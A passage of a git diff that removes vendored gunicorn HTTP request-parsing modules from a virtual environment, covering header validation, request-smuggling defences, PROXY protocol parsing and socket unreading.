ForbiddenProxyRequest -from gunicorn.http.errors import InvalidSchemeHeaders -from gunicorn.util import bytes_to_str, split_request_uri - - -# Fast parser availability (cached at module level) -_fast_parser_available = None -_fast_parser_module = None - -# Compatibility flags not supported by the fast parser -_FAST_PARSER_INCOMPATIBLE_FLAGS = ( - 'permit_obsolete_folding', - 'strip_header_spaces', -) - - -def _check_fast_parser(cfg): - """Check if fast C parser is available and should be used. - - Returns False if: - - http_parser='python' is explicitly set - - gunicorn_h1c is not installed (in 'auto' mode) - - gunicorn_h1c < 0.4.1 (in 'auto' mode) - - Incompatible compatibility flags are enabled (in 'auto' mode) - - Raises RuntimeError if: - - http_parser='fast' but gunicorn_h1c is not installed - - http_parser='fast' but gunicorn_h1c < 0.4.1 - - http_parser='fast' but incompatible flags are enabled - """ - global _fast_parser_available, _fast_parser_module # pylint: disable=global-statement - - parser_setting = getattr(cfg, 'http_parser', 'auto') - if parser_setting == 'python': - return False - - if _fast_parser_available is None: - try: - import gunicorn_h1c - _fast_parser_available = True - _fast_parser_module = gunicorn_h1c - except ImportError: - _fast_parser_available = False - - if not _fast_parser_available and parser_setting == 'fast': - raise RuntimeError("gunicorn_h1c not installed but http_parser='fast'") - - if not _fast_parser_available: - return False - - # Require >= 0.4.1 for limit enforcement - if not hasattr(_fast_parser_module, 'LimitRequestLine'): - if parser_setting == 'fast': - raise RuntimeError( - "gunicorn_h1c >= 0.4.1 required for http_parser='fast'. " - "Please upgrade: pip install --upgrade gunicorn_h1c" - ) - # In 'auto' mode, fall back to Python parser - return False - - # Check for incompatible compatibility flags - incompatible = [] - for flag in _FAST_PARSER_INCOMPATIBLE_FLAGS: - if getattr(cfg, flag, False): - incompatible.append(flag) - - if incompatible: - if parser_setting == 'fast': - raise RuntimeError( - "http_parser='fast' is incompatible with compatibility flags: %s. " - "Use http_parser='python' or disable these flags." - % ', '.join(incompatible) - ) - # In 'auto' mode, fall back to Python parser - return False - - return True - - -# PROXY protocol v2 constants -PP_V2_SIGNATURE = b"\x0D\x0A\x0D\x0A\x00\x0D\x0A\x51\x55\x49\x54\x0A" - - -class PPCommand(IntEnum): - """PROXY protocol v2 commands.""" - LOCAL = 0x0 - PROXY = 0x1 - - -class PPFamily(IntEnum): - """PROXY protocol v2 address families.""" - UNSPEC = 0x0 - INET = 0x1 # IPv4 - INET6 = 0x2 # IPv6 - UNIX = 0x3 - - -class PPProtocol(IntEnum): - """PROXY protocol v2 transport protocols.""" - UNSPEC = 0x0 - STREAM = 0x1 # TCP - DGRAM = 0x2 # UDP - - -MAX_REQUEST_LINE = 8190 -MAX_HEADERS = 32768 -DEFAULT_MAX_HEADERFIELD_SIZE = 8190 - -# verbosely on purpose, avoid backslash ambiguity -RFC9110_5_6_2_TOKEN_SPECIALS = r"!#$%&'*+-.^_`|~" -TOKEN_RE = re.compile(r"[%s0-9a-zA-Z]+" % (re.escape(RFC9110_5_6_2_TOKEN_SPECIALS))) -METHOD_BADCHAR_RE = re.compile("[a-z#]") -# usually 1.0 or 1.1 - RFC9112 permits restricting to single-digit versions -VERSION_RE = re.compile(r"HTTP/(\d)\.(\d)") -# RFC 9110 section 5.5: field-vchar = VCHAR / obs-text; SP and HTAB are the -# only non-VCHAR bytes allowed in a field-value. Anything else in the -# control range (0x00-0x1F except HTAB, plus DEL 0x7F) must be rejected. -RFC9110_5_5_INVALID_AND_DANGEROUS = re.compile(r"[\x00-\x08\x0a-\x1f\x7f]") - -# RFC 9110 section 6.5.1: fields forbidden in trailers because they alter -# routing, framing, or authentication. Using the uppercased names stored -# by parse_headers. -RFC9110_6_5_1_FORBIDDEN_TRAILER = frozenset(( - "HOST", - "CONTENT-LENGTH", - "TRANSFER-ENCODING", - "TRAILER", - "AUTHORIZATION", - "TE", -)) - -# RFC 9110 section 5.3: fields whose grammar admits only a single member, so a -# second occurrence cannot be merged and makes the message ambiguous. -# CONTENT-LENGTH is deliberately absent: duplicates are already rejected in -# set_body_reader(), which reports them with the request attached. -RFC9110_5_3_SINGLETON_FIELDS = frozenset(( - "HOST", - "CONTENT-TYPE", -)) - - -def _ip_in_allow_list(ip_str, allow_list, networks): - """Check if IP address is in the allow list. - - Args: - ip_str: The IP address string to check - allow_list: The original allow list (strings, may contain "*") - networks: Pre-computed ipaddress.ip_network objects from config - """ - if '*' in allow_list: - return True - try: - ip = ipaddress.ip_address(ip_str) - except ValueError: - return False - for network in networks: - if ip in network: - return True - return False - - -class Message: - def __init__(self, cfg, unreader, peer_addr): - self.cfg = cfg - self.unreader = unreader - self.peer_addr = peer_addr - self.remote_addr = peer_addr - self.version = None - self.headers = [] - self.trailers = [] - self.body = None - self.scheme = "https" if cfg.is_ssl else "http" - self.must_close = False - self._expected_100_continue = False - - # set headers limits - self.limit_request_fields = cfg.limit_request_fields - if (self.limit_request_fields <= 0 - or self.limit_request_fields > MAX_HEADERS): - self.limit_request_fields = MAX_HEADERS - self.limit_request_field_size = cfg.limit_request_field_size - if self.limit_request_field_size <= 0: - self.limit_request_field_size = DEFAULT_MAX_HEADERFIELD_SIZE - - # set max header buffer size - max_header_field_size = self.limit_request_field_size or DEFAULT_MAX_HEADERFIELD_SIZE - self.max_buffer_headers = self.limit_request_fields * \ - (max_header_field_size + 2) + 4 - - unused = self.parse(self.unreader) - self.unreader.unread(unused) - self.set_body_reader() - - def force_close(self): - self.must_close = True - - def parse(self, unreader): - raise NotImplementedError() - - def _peer_trusted_for_forwarded(self): - """Return the (secure_scheme_headers, forwarder_headers) the peer is allowed to set. - - When the peer's address is not in ``forwarded_allow_ips`` (or networks), - configured forwarding/secure-scheme policy must be ignored to prevent - spoofing. Returns ``({}, [])`` when the peer is untrusted. - """ - cfg = self.cfg - if (not isinstance(self.peer_addr, tuple) - or _ip_in_allow_list(self.peer_addr[0], cfg.forwarded_allow_ips, - cfg.forwarded_allow_networks())): - return cfg.secure_scheme_headers, cfg.forwarder_headers - return {}, [] - - def _apply_header_policy(self, name, value, scheme_state, seen, - secure_scheme_headers, forwarder_headers, - from_trailer=False): - """Apply per-header policy shared between Python and fast parsers. - - Mutates ``self._expected_100_continue`` and ``self.scheme`` as needed. - ``scheme_state`` is a single-element list used as a mutable sentinel - so the caller can detect repeated scheme headers. ``seen`` is a set of - the field names already accepted for this message, used the same way to - detect repeated singleton fields. - - Returns the (name, value) pair to retain, or ``None`` to drop the - header (per ``header_map='drop'``). Raises the same exceptions the - Python path raises so behavior is identical regardless of parser. - """ - # https://datatracker.ietf.org/doc/html/rfc9110#section-5.3 - # A singleton field cannot be combined into a list, so a repeat leaves - # the message ambiguous and open to being read differently by us and by - # anything downstream. - if name in RFC9110_5_3_SINGLETON_FIELDS: - if name in seen: - raise InvalidHeader(name, req=self) - seen.add(name) - - if not from_trailer and name == "EXPECT": - # https://datatracker.ietf.org/doc/html/rfc9110#section-10.1.1 - # "The Expect field value is case-insensitive." - if value.lower() == "100-continue": - if self.version < (1, 1): - # https://datatracker.ietf.org/doc/html/rfc9110#section-10.1.1-12 - # "A server that receives a 100-continue expectation - # in an HTTP/1.0 request MUST ignore that expectation." - pass - else: - self._expected_100_continue = True - # N.B. understood but ignored expect header does not return 417 - else: - raise ExpectationFailed(value) - - if name in secure_scheme_headers: - secure = value == secure_scheme_headers[name] - scheme = "https" if secure else "http" - if scheme_state[0]: - if scheme != self.scheme: - raise InvalidSchemeHeaders() - else: - scheme_state[0] = True - self.scheme = scheme - - # ambiguous mapping allows fooling downstream, e.g. merging non-identical headers: - # X-Forwarded-For: 2001:db8::ha:cc:ed - # X_Forwarded_For: 127.0.0.1,::1 - # HTTP_X_FORWARDED_FOR = 2001:db8::ha:cc:ed,127.0.0.1,::1 - # Only modify after fixing *ALL* header transformations; network to wsgi env - if "_" in name: - if name in forwarder_headers or "*" in forwarder_headers: - # This forwarder may override our environment - pass - elif self.cfg.header_map == "dangerous": - # as if we did not know we cannot safely map this - pass - elif self.cfg.header_map == "drop": - # almost as if it never had been there - # but still counts against resource limits - return None - else: - # fail-safe fallthrough: refuse - raise InvalidHeaderName(name) - - return (name, value) - - def parse_headers(self, data, from_trailer=False): - headers = [] - - # Split lines on \r\n - lines = [bytes_to_str(line) for line in data.split(b"\r\n")] - - # handle scheme headers - scheme_state = [False] - seen = set() - if from_trailer: - # nonsense. either a request is https from the beginning - # .. or we are just behind a proxy who does not remove conflicting trailers - secure_scheme_headers, forwarder_headers = {}, [] - else: - secure_scheme_headers, forwarder_headers = self._peer_trusted_for_forwarded() - - # Parse headers into key/value pairs paying attention - # to continuation lines. - while lines: - if len(headers) >= self.limit_request_fields: - raise LimitRequestHeaders("limit request headers fields") - - # Parse initial header name: value pair. - curr = lines.pop(0) - header_length = len(curr) + len("\r\n") - if curr.find(":") <= 0: - raise InvalidHeader(curr) - name, value = curr.split(":", 1) - if self.cfg.strip_header_spaces: - name = name.rstrip(" \t") - if not TOKEN_RE.fullmatch(name): - raise InvalidHeaderName(name) - - # this is still a dangerous place to do this - # but it is more correct than doing it before the pattern match: - # after we entered Unicode wonderland, 8bits could case-shift into ASCII: - # b"\xDF".decode("latin-1").upper().encode("ascii") == b"SS" - name = name.upper() - - # RFC 9110 section 6.5.1 - if from_trailer and name in RFC9110_6_5_1_FORBIDDEN_TRAILER: - raise InvalidHeaderName(name) - - value = [value.strip(" \t")] - - # Consume value continuation lines.. - while lines and lines[0].startswith((" ", "\t")): - # .. which is obsolete here, and no longer done by default - if not self.cfg.permit_obsolete_folding: - raise ObsoleteFolding(name) - curr = lines.pop(0) - header_length += len(curr) + len("\r\n") - if header_length > self.limit_request_field_size > 0: - raise LimitRequestHeaders("limit request headers " - "fields size") - value.append(curr.strip("\t ")) - value = " ".join(value) - - if RFC9110_5_5_INVALID_AND_DANGEROUS.search(value): - raise InvalidHeader(name) - - if header_length > self.limit_request_field_size > 0: - raise LimitRequestHeaders("limit request headers fields size") - - kept = self._apply_header_policy( - name, value, scheme_state, seen, - secure_scheme_headers, forwarder_headers, - from_trailer=from_trailer, - ) - if kept is None: - continue - headers.append(kept) - - return headers - - def set_body_reader(self): - chunked = False - content_length = None - - for (name, value) in self.headers: - if name == "CONTENT-LENGTH": - if content_length is not None: - raise InvalidHeader("CONTENT-LENGTH", req=self) - content_length = value - elif name == "TRANSFER-ENCODING": - # T-E can be a list - # https://datatracker.ietf.org/doc/html/rfc9112#name-transfer-encoding - vals = [v.strip() for v in value.split(',')] - for val in vals: - if val.lower() == "chunked": - # DANGER: transfer codings stack, and stacked chunking is never intended - if chunked: - raise InvalidHeader("TRANSFER-ENCODING", req=self) - chunked = True - elif val.lower() == "identity": - # does not do much, could still plausibly desync from what the proxy does - # safe option: nuke it, its never needed - if chunked: - raise InvalidHeader("TRANSFER-ENCODING", req=self) - elif val.lower() in ('compress', 'deflate', 'gzip'): - # chunked should be the last one - if chunked: - raise InvalidHeader("TRANSFER-ENCODING", req=self) - self.force_close() - else: - raise UnsupportedTransferCoding(value) - - if chunked: - # two potentially dangerous cases: - # a) CL + TE (TE overrides CL.. only safe if the recipient sees it that way too) - # b) chunked HTTP/1.0 (always faulty) - if self.version < (1, 1): - # framing wonky, see RFC 9112 Section 6.1 - raise InvalidHeader("TRANSFER-ENCODING", req=self) - if content_length is not None: - # we cannot be certain the message framing we understood matches proxy intent - # -> whatever happens next, remaining input must not be trusted - raise InvalidHeader("CONTENT-LENGTH", req=self) - self.body = Body(ChunkedReader(self, self.unreader)) - elif content_length is not None: - try: - if str(content_length).isnumeric(): - content_length = int(content_length) - else: - raise InvalidHeader("CONTENT-LENGTH", req=self) - except ValueError: - raise InvalidHeader("CONTENT-LENGTH", req=self) - - if content_length < 0: - raise InvalidHeader("CONTENT-LENGTH", req=self) - - self.body = Body(LengthReader(self.unreader, content_length)) - else: - self.body = Body(EOFReader(self.unreader)) - - def should_close(self): - if self.must_close: - return True - for (h, v) in self.headers: - if h == "CONNECTION": - v = v.lower().strip(" \t") - if v == "close": - return True - elif v == "keep-alive": - return False - break - return self.version <= (1, 0) - - -class Request(Message): - def __init__(self, cfg, unreader, peer_addr, req_number=1): - self.method = None - self.uri = None - self.path = None - self.query = None - self.fragment = None - - # get max request line size (0 means unlimited per documentation) - self.limit_request_line = cfg.limit_request_line - if self.limit_request_line < 0: - self.limit_request_line = MAX_REQUEST_LINE - # For fast parser: use large value when unlimited (0), since C parser - # doesn't support 0 as unlimited. 1MB should be more than enough. - if self.limit_request_line == 0: - self._fast_limit_request_line = 1024 * 1024 # 1MB - elif self.limit_request_line >= MAX_REQUEST_LINE: - self._fast_limit_request_line = MAX_REQUEST_LINE - self.limit_request_line = MAX_REQUEST_LINE - else: - self._fast_limit_request_line = self.limit_request_line - - self.req_number = req_number - self.proxy_protocol_info = None - - # Check if fast parser should be used - self._use_fast = _check_fast_parser(cfg) - - super().__init__(cfg, unreader, peer_addr) - - def get_data(self, unreader, buf, stop=False): - data = unreader.read() - if not data: - if stop: - raise StopIteration() - raise NoMoreData(buf.getvalue()) - buf.write(data) - - def parse(self, unreader): - buf = bytearray() - self.read_into(unreader, buf, stop=True) - - # Handle proxy protocol if enabled and this is the first request - mode = self.cfg.proxy_protocol - if mode != "off" and self.req_number == 1: - buf = self._handle_proxy_protocol(unreader, buf, mode) - - # Use fast parser if available - if self._use_fast: - return self._parse_fast(unreader, buf) - - return self._parse_python(unreader, buf) - - def _parse_fast(self, unreader, buf): - """Parse request using fast C parser (gunicorn_h1c >= 0.4.1).""" - # Read until we have complete headers - data = bytes(buf) - last_len = 0 - - while True: - try: - # Pass all limit parameters to C parser - # Use _fast_limit_request_line which handles 0=unlimited - result = _fast_parser_module.parse_request( - data, - last_len=last_len, - limit_request_line=self._fast_limit_request_line, - limit_request_fields=self.limit_request_fields, - limit_request_field_size=self.limit_request_field_size, - permit_unconventional_http_method=self.cfg.permit_unconventional_http_method, - permit_unconventional_http_version=self.cfg.permit_unconventional_http_version, - ) - break - except _fast_parser_module.IncompleteError: - last_len = len(data) - self.read_into(unreader, buf) - data = bytes(buf) - if len(data) > self.max_buffer_headers + self._fast_limit_request_line: - raise LimitRequestHeaders("max buffer headers") - except _fast_parser_module.LimitRequestLine as e: - raise LimitRequestLine(str(e)) - except _fast_parser_module.LimitRequestHeaders as e: - raise LimitRequestHeaders(str(e)) - except _fast_parser_module.InvalidRequestMethod as e: - raise InvalidRequestMethod(str(e)) - except _fast_parser_module.InvalidHTTPVersion as e: - raise InvalidHTTPVersion(str(e)) - except _fast_parser_module.InvalidHeaderName as e: - raise InvalidHeaderName(str(e)) - except _fast_parser_module.InvalidHeader as e: - raise InvalidHeader(str(e)) - except _fast_parser_module.ParseError as e: - raise InvalidRequestLine(str(e)) - - # Extract parsed data - self.method = bytes_to_str(result['method']) - self.uri = bytes_to_str(result['path']) - - # Casefold method if configured (validation done by C parser) - if self.cfg.casefold_http_method: - self.method = self.method.upper() - - # Parse URI parts - if len(self.uri) == 0: - raise InvalidRequestLine(self.uri) - try: - parts = split_request_uri(self.uri) - except ValueError: - raise InvalidRequestLine(self.uri) - self.path = parts.path or "" - self.query = parts.query or "" - self.fragment = parts.fragment or "" - - # Version (validation done by C parser) - self.version = (1, result['minor_version']) - - # Headers - convert bytes to strings with uppercase names - # gunicorn_h1c returns headers as (bytes, bytes) tuples - # Header name/value validation done by C parser; policy (Expect, - # secure_scheme_headers, forwarder trust gate, header_map) is enforced - # below so the fast path mirrors parse_headers(). - self.headers = [] - scheme_state = [False] - seen = set() - secure_scheme_headers, forwarder_headers = self._peer_trusted_for_forwarded() - for name_bytes, value_bytes in result['headers']: - name = bytes_to_str(name_bytes).upper() - value = bytes_to_str(value_bytes) - - kept = self._apply_header_policy( - name, value, scheme_state, seen, - secure_scheme_headers, forwarder_headers, - ) - if kept is None: - continue - self.headers.append(kept) - - # Return remaining data after headers - consumed = result['consumed'] - return data[consumed:] - - def _parse_python(self, unreader, buf): - """Parse request using pure Python parser.""" - # Get request line - line, buf = self.read_line(unreader, buf, self.limit_request_line) - - self.parse_request_line(line) - - # Headers - data = bytes(buf) - - done = data[:2] == b"\r\n" - while True: - idx = data.find(b"\r\n\r\n") - done = data[:2] == b"\r\n" - - if idx < 0 and not done: - self.read_into(unreader, buf) - data = bytes(buf) - if len(data) > self.max_buffer_headers: - raise LimitRequestHeaders("max buffer headers") - else: - break - - if done: - self.unreader.unread(data[2:]) - return b"" - - self.headers = self.parse_headers(data[:idx], from_trailer=False) - - ret = data[idx + 4:] - return ret - - def read_into(self, unreader, buf, stop=False): - """Read data from unreader and append to bytearray buffer.""" - data = unreader.read() - if not data: - if stop: - raise StopIteration() - raise NoMoreData(bytes(buf)) - buf.extend(data) - - def read_line(self, unreader, buf, limit=0): - """Read a line from buffer, returning (line, remaining_buffer).""" - data = bytes(buf) - - while True: - idx = data.find(b"\r\n") - if idx >= 0: - # check if the request line is too large - if idx > limit > 0: - raise LimitRequestLine(idx, limit) - break - if len(data) - 2 > limit > 0: - raise LimitRequestLine(len(data), limit) - self.read_into(unreader, buf) - data = bytes(buf) - - return (data[:idx], # request line, - bytearray(data[idx + 2:])) # residue in the buffer, skip \r\n - - def read_bytes(self, unreader, buf, count): - """Read exactly count bytes from buffer/unreader.""" - while len(buf) < count: - self.read_into(unreader, buf) - return bytes(buf[:count]), bytearray(buf[count:]) - - def _handle_proxy_protocol(self, unreader, buf, mode): - """Handle PROXY protocol detection and parsing. - - Returns the buffer with proxy protocol data consumed. - """ - # Ensure we have enough data to detect v2 signature (12 bytes) - while len(buf) < 12: - self.read_into(unreader, buf) - - # Check for v2 signature first - if mode in ("v2", "auto") and buf[:12] == PP_V2_SIGNATURE: - self.proxy_protocol_access_check() - return self._parse_proxy_protocol_v2(unreader, buf) - - # Check for v1 prefix - if mode in ("v1", "auto") and buf[:6] == b"PROXY ": - self.proxy_protocol_access_check() - return self._parse_proxy_protocol_v1(unreader, buf) - - # Not proxy protocol - return buffer unchanged - return buf - - def proxy_protocol_access_check(self): - """Check if proxy protocol is allowed from this peer.""" - if (isinstance(self.peer_addr, tuple) and - not _ip_in_allow_list(self.peer_addr[0], self.cfg.proxy_allow_ips, - self.cfg.proxy_allow_networks())): - raise ForbiddenProxyRequest(self.peer_addr[0]) - - def _parse_proxy_protocol_v1(self, unreader, buf): - """Parse PROXY protocol v1 (text format). - - Returns buffer with v1 header consumed. - """ - # Read until we find \r\n - data = bytes(buf) - while b"\r\n" not in data: - self.read_into(unreader, buf) - data = bytes(buf) - - idx = data.find(b"\r\n") - line = bytes_to_str(data[:idx]) - remaining = bytearray(data[idx + 2:]) - - bits = line.split(" ") - - if len(bits) != 6: - raise InvalidProxyLine(line) - - # Extract data - proto = bits[1] - s_addr = bits[2] - d_addr = bits[3] - - # Validation - if proto not in ["TCP4", "TCP6"]: - raise InvalidProxyLine("protocol '%s' not supported" % proto) - if proto == "TCP4": - try: - socket.inet_pton(socket.AF_INET, s_addr) - socket.inet_pton(socket.AF_INET, d_addr) - except OSError: - raise InvalidProxyLine(line) - elif proto == "TCP6": - try: - socket.inet_pton(socket.AF_INET6, s_addr) - socket.inet_pton(socket.AF_INET6, d_addr) - except OSError: - raise InvalidProxyLine(line) - - try: - s_port = int(bits[4]) - d_port = int(bits[5]) - except ValueError: - raise InvalidProxyLine("invalid port %s" % line) - - if not ((0 <= s_port <= 65535) and (0 <= d_port <= 65535)): - raise InvalidProxyLine("invalid port %s" % line) - - # Set data - self.proxy_protocol_info = { - "proxy_protocol": proto, - "client_addr": s_addr, - "client_port": s_port, - "proxy_addr": d_addr, - "proxy_port": d_port - } - - return remaining - - def _parse_proxy_protocol_v2(self, unreader, buf): - """Parse PROXY protocol v2 (binary format). - - Returns buffer with v2 header consumed. - """ - # We need at least 16 bytes for the header (12 signature + 4 header) - while len(buf) < 16: - self.read_into(unreader, buf) - - # Parse header fields (after 12-byte signature) - ver_cmd = buf[12] - fam_proto = buf[13] - length = struct.unpack(">H", bytes(buf[14:16]))[0] - - # Validate version (high nibble must be 0x2) - version = (ver_cmd & 0xF0) >> 4 - if version != 2: - raise InvalidProxyHeader("unsupported version %d" % version) - - # Extract command (low nibble) - command = ver_cmd & 0x0F - if command not in (PPCommand.LOCAL, PPCommand.PROXY): - raise InvalidProxyHeader("unsupported command %d" % command) - - # Ensure we have the complete header - total_header_size = 16 + length - while len(buf) < total_header_size: - self.read_into(unreader, buf) - - # For LOCAL command, no address info is provided - if command == PPCommand.LOCAL: - self.proxy_protocol_info = { - "proxy_protocol": "LOCAL", - "client_addr": None, - "client_port": None, - "proxy_addr": None, - "proxy_port": None - } - return bytearray(buf[total_header_size:]) - - # Extract address family and protocol - family = (fam_proto & 0xF0) >> 4 - protocol = fam_proto & 0x0F - - # We only support TCP (STREAM) - if protocol != PPProtocol.STREAM: - raise InvalidProxyHeader("only TCP protocol is supported") - - addr_data = bytes(buf[16:16 + length]) - - if family == PPFamily.INET: # IPv4 - if length < 12: # 4+4+2+2 - raise InvalidProxyHeader("insufficient address data for IPv4") - s_addr = socket.inet_ntop(socket.AF_INET, addr_data[0:4]) - d_addr = socket.inet_ntop(socket.AF_INET, addr_data[4:8]) - s_port = struct.unpack(">H", addr_data[8:10])[0] - d_port = struct.unpack(">H", addr_data[10:12])[0] - proto = "TCP4" - - elif family == PPFamily.INET6: # IPv6 - if length < 36: # 16+16+2+2 - raise InvalidProxyHeader("insufficient address data for IPv6") - s_addr = socket.inet_ntop(socket.AF_INET6, addr_data[0:16]) - d_addr = socket.inet_ntop(socket.AF_INET6, addr_data[16:32]) - s_port = struct.unpack(">H", addr_data[32:34])[0] - d_port = struct.unpack(">H", addr_data[34:36])[0] - proto = "TCP6" - - elif family == PPFamily.UNSPEC: - # No address info provided with PROXY command - self.proxy_protocol_info = { - "proxy_protocol": "UNSPEC", - "client_addr": None, - "client_port": None, - "proxy_addr": None, - "proxy_port": None - } - return bytearray(buf[total_header_size:]) - - else: - raise InvalidProxyHeader("unsupported address family %d" % family) - - # Set data - self.proxy_protocol_info = { - "proxy_protocol": proto, - "client_addr": s_addr, - "client_port": s_port, - "proxy_addr": d_addr, - "proxy_port": d_port - } - - return bytearray(buf[total_header_size:]) - - def parse_request_line(self, line_bytes): - bits = [bytes_to_str(bit) for bit in line_bytes.split(b" ", 2)] - if len(bits) != 3: - raise InvalidRequestLine(bytes_to_str(line_bytes)) - - # Method: RFC9110 Section 9 - self.method = bits[0] - - # nonstandard restriction, suitable for all IANA registered methods - # partially enforced in previous gunicorn versions - if not self.cfg.permit_unconventional_http_method: - if METHOD_BADCHAR_RE.search(self.method): - raise InvalidRequestMethod(self.method) - if not 3 <= len(bits[0]) <= 20: - raise InvalidRequestMethod(self.method) - # standard restriction: RFC9110 token - if not TOKEN_RE.fullmatch(self.method): - raise InvalidRequestMethod(self.method) - # nonstandard and dangerous - # methods are merely uppercase by convention, no case-insensitive treatment is intended - if self.cfg.casefold_http_method: - self.method = self.method.upper() - - # URI - self.uri = bits[1] - - # Python stdlib explicitly tells us it will not perform validation. - # https://docs.python.org/3/library/urllib.parse.html#url-parsing-security - # There are *four* `request-target` forms in rfc9112, none of them can be empty: - # 1. origin-form, which starts with a slash - # 2. absolute-form, which starts with a non-empty scheme - # 3. authority-form, (for CONNECT) which contains a colon after the host - # 4. asterisk-form, which is an asterisk (`\x2A`) - # => manually reject one always invalid URI: empty - if len(self.uri) == 0: - raise InvalidRequestLine(bytes_to_str(line_bytes)) - - # RFC 9112 section 3.2.4: asterisk-form is only valid with OPTIONS. - if self.uri == "*" and self.method != "OPTIONS": - raise InvalidRequestLine(bytes_to_str(line_bytes)) - - # RFC 9112 section 3.2.3: authority-form ("host:port") is only valid - # with CONNECT. origin-form starts with "/"; absolute-form contains - # "://". Anything else on a non-CONNECT request is authority-form. - if (self.method != "CONNECT" - and self.uri != "*" - and not self.uri.startswith("/") - and "://" not in self.uri): - raise InvalidRequestLine(bytes_to_str(line_bytes)) - - try: - parts = split_request_uri(self.uri) - except ValueError: - raise InvalidRequestLine(bytes_to_str(line_bytes)) - self.path = parts.path or "" - self.query = parts.query or "" - self.fragment = parts.fragment or "" - - # Version - match = VERSION_RE.fullmatch(bits[2]) - if match is None: - raise InvalidHTTPVersion(bits[2]) - self.version = (int(match.group(1)), int(match.group(2))) - if not (1, 0) <= self.version < (2, 0): - # if ever relaxing this, carefully review Content-Encoding processing - if not self.cfg.permit_unconventional_http_version: - raise InvalidHTTPVersion(self.version) - - def set_body_reader(self): - super().set_body_reader() - if isinstance(self.body.reader, EOFReader): - self.body = Body(LengthReader(self.unreader, 0)) diff --git a/venv/Lib/site-packages/gunicorn/http/parser.py b/venv/Lib/site-packages/gunicorn/http/parser.py deleted file mode 100644 index a11ea91c5da23273672cad3d8da0495f7970f982..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http/parser.py +++ /dev/null @@ -1,121 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import socket -import ssl -import time - -from gunicorn.http.message import Request -from gunicorn.http.unreader import SocketUnreader, IterUnreader - - -# Cap on bytes drained from an unconsumed request body before a keepalive -# reset. Defends against a slow-but-steady client that stays under a per-read -# deadline yet streams indefinitely. -_DRAIN_MAX_BYTES = 64 * 1024 - - -class Parser: - - mesg_class = None - - def __init__(self, cfg, source, source_addr): - self.cfg = cfg - if hasattr(source, "recv"): - self.unreader = SocketUnreader(source) - else: - self.unreader = IterUnreader(source) - self.mesg = None - self.source_addr = source_addr - - # request counter (for keepalive connetions) - self.req_count = 0 - - def __iter__(self): - return self - - def finish_body(self, deadline=None, max_bytes=None): - """Discard any unread body of the current message. - - Called before returning a keepalive connection to the poller so the - socket does not appear readable due to leftover body bytes. - - ``deadline`` is an absolute ``time.monotonic()`` value; when set the - socket read timeout is bounded by the remaining time before each read. - ``max_bytes`` caps the total drained bytes; when a deadline is given - and ``max_bytes`` is left at the default, ``_DRAIN_MAX_BYTES`` applies - to defend against a slow client that keeps trickling under it. When - called without a deadline (the default invocation from ``__next__``), - no byte cap is applied so the prior unbounded drain semantics are - preserved for callers that don't know how to react to a partial drain. - - Returns ``True`` when the body was fully drained, ``False`` when the - drain was abandoned (deadline, byte cap, or socket timeout). Callers - that observe ``False`` MUST close the connection rather than serve - another request on it. - """ - if not self.mesg: - return True - - if max_bytes is None and deadline is not None: - max_bytes = _DRAIN_MAX_BYTES - - sock = getattr(self.unreader, "sock", None) - # gettimeout/settimeout only matter when bounding a real socket; a - # mock or non-socket source skips the timeout plumbing. - if sock is not None and hasattr(sock, "gettimeout") and hasattr(sock, "settimeout"): - timeoutable_sock = sock - prior_timeout = sock.gettimeout() - else: - timeoutable_sock = None - prior_timeout = None - - drained = 0 - try: - while True: - if deadline is not None and timeoutable_sock is not None: - remaining = deadline - time.monotonic() - if remaining <= 0: - return False - timeoutable_sock.settimeout(remaining) - try: - data = self.mesg.body.read(1024) - except (socket.timeout, TimeoutError): - return False - except ssl.SSLWantReadError: - # SSL socket has no more application data available - return True - if not data: - return True - drained += len(data) - if max_bytes is not None and drained >= max_bytes: - return False - finally: - if timeoutable_sock is not None: - try: - timeoutable_sock.settimeout(prior_timeout) - except OSError: - pass - - def __next__(self): - # Stop if HTTP dictates a stop. - if self.mesg and self.mesg.should_close(): - raise StopIteration() - - # Discard any unread body of the previous message - self.finish_body() - - # Parse the next request - self.req_count += 1 - self.mesg = self.mesg_class(self.cfg, self.unreader, self.source_addr, self.req_count) - if not self.mesg: - raise StopIteration() - return self.mesg - - next = __next__ - - -class RequestParser(Parser): - - mesg_class = Request diff --git a/venv/Lib/site-packages/gunicorn/http/unreader.py b/venv/Lib/site-packages/gunicorn/http/unreader.py deleted file mode 100644 index 1138e02fb0cd1354e11867382c570ed6703869c0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http/unreader.py +++ /dev/null @@ -1,80 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import io -import os - -# Classes that can undo reading data from -# a given type of data source. - - -class Unreader: - def __init__(self): - self.buf = io.BytesIO() - - def chunk(self): - raise NotImplementedError() - - def read(self, size=None): - if size is not None and not isinstance(size, int): - raise TypeError("size parameter must be an int or long.") - - if size is not None: - if size == 0: - return b"" - if size < 0: - size = None - - self.buf.seek(0, os.SEEK_END) - - if size is None and self.buf.tell(): - ret = self.buf.getvalue() - self.buf = io.BytesIO() - return ret - if size is None: - d = self.chunk() - return d - - while self.buf.tell() < size: - chunk = self.chunk() - if not chunk: - ret = self.buf.getvalue() - self.buf = io.BytesIO() - return ret - self.buf.write(chunk) - data = self.buf.getvalue() - self.buf = io.BytesIO() - self.buf.write(data[size:]) - return data[:size] - - def unread(self, data): - rest = self.buf.getvalue() - self.buf = io.BytesIO() - self.buf.write(data) - self.buf.write(rest) - - -class SocketUnreader(Unreader): - def __init__(self, sock, max_chunk=8192): - super().__init__() - self.sock = sock - self.mxchunk = max_chunk - - def chunk(self): - return self.sock.recv(self.mxchunk) - - -class IterUnreader(Unreader): - def __init__(self, iterable): - super().__init__() - self.iter = iter(iterable) - - def chunk(self): - if not self.iter: - return b"" - try: - return next(self.iter) - except StopIteration: - self.iter = None - return b"" diff --git a/venv/Lib/site-packages/gunicorn/http/wsgi.py b/venv/Lib/site-packages/gunicorn/http/wsgi.py deleted file mode 100644 index 934aa76403972c6cdda5bd72ecc57304947632fe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http/wsgi.py +++ /dev/null @@ -1,534 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import io -import logging -import os -import re -import sys - -from gunicorn.http.message import TOKEN_RE -from gunicorn.http.errors import ConfigurationProblem, InvalidHeader, InvalidHeaderName -from gunicorn import SERVER_SOFTWARE, 